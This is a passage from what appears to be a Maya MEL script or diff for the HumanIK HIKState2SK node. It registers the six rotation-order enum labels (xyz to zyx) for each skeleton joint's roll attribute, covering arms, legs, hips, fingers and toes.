"RightUpLegRollROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightUpLegRollROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightUpLegRollROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightUpLegRollROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightUpLegRollROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightUpLegRollROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightLegRollROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightLegRollROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightLegRollROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightLegRollROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightLegRollROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightLegRollROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftArmRollROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftArmRollROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftArmRollROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftArmRollROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftArmRollROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftArmRollROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftForeArmRollROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftForeArmRollROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftForeArmRollROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftForeArmRollROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftForeArmRollROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftForeArmRollROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightArmRollROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightArmRollROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightArmRollROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightArmRollROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightArmRollROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightArmRollROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightForeArmRollROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightForeArmRollROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightForeArmRollROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightForeArmRollROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightForeArmRollROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightForeArmRollROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "HipsTranslationROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "HipsTranslationROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "HipsTranslationROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "HipsTranslationROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "HipsTranslationROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "HipsTranslationROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandThumb1ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandThumb1ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandThumb1ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandThumb1ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandThumb1ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandThumb1ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandThumb2ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandThumb2ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandThumb2ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandThumb2ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandThumb2ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandThumb2ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandThumb3ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandThumb3ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandThumb3ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandThumb3ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandThumb3ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandThumb3ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandThumb4ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandThumb4ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandThumb4ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandThumb4ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandThumb4ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandThumb4ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandIndex1ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandIndex1ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandIndex1ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandIndex1ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandIndex1ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandIndex1ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandIndex2ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandIndex2ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandIndex2ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandIndex2ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandIndex2ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandIndex2ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandIndex3ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandIndex3ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandIndex3ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandIndex3ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandIndex3ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandIndex3ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandIndex4ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandIndex4ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandIndex4ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandIndex4ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandIndex4ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandIndex4ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandMiddle1ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandMiddle1ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandMiddle1ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandMiddle1ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandMiddle1ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandMiddle1ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandMiddle2ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandMiddle2ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandMiddle2ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandMiddle2ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandMiddle2ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandMiddle2ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandMiddle3ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandMiddle3ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandMiddle3ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandMiddle3ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandMiddle3ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandMiddle3ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandMiddle4ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandMiddle4ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandMiddle4ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandMiddle4ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandMiddle4ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandMiddle4ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandRing1ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandRing1ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandRing1ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandRing1ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandRing1ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandRing1ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandRing2ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandRing2ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandRing2ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandRing2ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandRing2ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandRing2ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandRing3ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandRing3ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandRing3ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandRing3ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandRing3ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandRing3ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandRing4ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandRing4ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandRing4ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandRing4ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandRing4ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandRing4ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandPinky1ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandPinky1ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandPinky1ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandPinky1ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandPinky1ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandPinky1ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandPinky2ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandPinky2ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandPinky2ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandPinky2ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandPinky2ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandPinky2ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandPinky3ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandPinky3ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandPinky3ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandPinky3ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandPinky3ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandPinky3ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandPinky4ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandPinky4ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandPinky4ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandPinky4ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandPinky4ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandPinky4ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandExtraFinger1ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandExtraFinger1ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandExtraFinger1ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandExtraFinger1ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandExtraFinger1ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandExtraFinger1ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandExtraFinger2ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandExtraFinger2ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandExtraFinger2ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandExtraFinger2ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandExtraFinger2ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandExtraFinger2ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandExtraFinger3ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandExtraFinger3ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandExtraFinger3ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandExtraFinger3ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandExtraFinger3ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandExtraFinger3ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandExtraFinger4ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandExtraFinger4ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandExtraFinger4ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandExtraFinger4ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandExtraFinger4ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandExtraFinger4ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightHandThumb1ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightHandThumb1ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightHandThumb1ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightHandThumb1ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightHandThumb1ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightHandThumb1ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightHandThumb2ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightHandThumb2ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightHandThumb2ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightHandThumb2ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightHandThumb2ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightHandThumb2ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightHandThumb3ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightHandThumb3ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightHandThumb3ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightHandThumb3ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightHandThumb3ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightHandThumb3ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightHandThumb4ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightHandThumb4ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightHandThumb4ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightHandThumb4ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightHandThumb4ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightHandThumb4ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightHandIndex1ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightHandIndex1ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightHandIndex1ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightHandIndex1ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightHandIndex1ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightHandIndex1ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightHandIndex2ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightHandIndex2ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightHandIndex2ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightHandIndex2ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightHandIndex2ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightHandIndex2ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightHandIndex3ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightHandIndex3ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightHandIndex3ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightHandIndex3ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightHandIndex3ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightHandIndex3ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightHandIndex4ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightHandIndex4ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightHandIndex4ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightHandIndex4ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightHandIndex4ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightHandIndex4ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightHandMiddle1ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightHandMiddle1ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightHandMiddle1ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightHandMiddle1ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightHandMiddle1ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightHandMiddle1ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightHandMiddle2ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightHandMiddle2ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightHandMiddle2ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightHandMiddle2ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightHandMiddle2ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightHandMiddle2ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightHandMiddle3ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightHandMiddle3ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightHandMiddle3ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightHandMiddle3ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightHandMiddle3ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightHandMiddle3ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightHandMiddle4ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightHandMiddle4ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightHandMiddle4ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightHandMiddle4ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightHandMiddle4ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightHandMiddle4ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightHandRing1ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightHandRing1ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightHandRing1ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightHandRing1ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightHandRing1ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightHandRing1ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightHandRing2ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightHandRing2ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightHandRing2ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightHandRing2ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightHandRing2ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightHandRing2ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightHandRing3ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightHandRing3ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightHandRing3ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightHandRing3ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightHandRing3ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightHandRing3ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightHandRing4ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightHandRing4ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightHandRing4ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightHandRing4ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightHandRing4ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightHandRing4ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightHandPinky1ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightHandPinky1ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightHandPinky1ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightHandPinky1ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightHandPinky1ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightHandPinky1ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightHandPinky2ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightHandPinky2ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightHandPinky2ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightHandPinky2ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightHandPinky2ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightHandPinky2ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightHandPinky3ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightHandPinky3ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightHandPinky3ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightHandPinky3ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightHandPinky3ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightHandPinky3ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightHandPinky4ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightHandPinky4ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightHandPinky4ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightHandPinky4ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightHandPinky4ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightHandPinky4ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightHandExtraFinger1ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightHandExtraFinger1ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightHandExtraFinger1ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightHandExtraFinger1ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightHandExtraFinger1ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightHandExtraFinger1ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightHandExtraFinger2ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightHandExtraFinger2ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightHandExtraFinger2ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightHandExtraFinger2ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightHandExtraFinger2ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightHandExtraFinger2ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightHandExtraFinger3ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightHandExtraFinger3ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightHandExtraFinger3ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightHandExtraFinger3ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightHandExtraFinger3ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightHandExtraFinger3ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightHandExtraFinger4ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightHandExtraFinger4ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightHandExtraFinger4ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightHandExtraFinger4ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightHandExtraFinger4ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightHandExtraFinger4ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootThumb1ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootThumb1ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootThumb1ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootThumb1ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootThumb1ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootThumb1ROrder", 5, "zyx" ); +setAttrEnumResource( 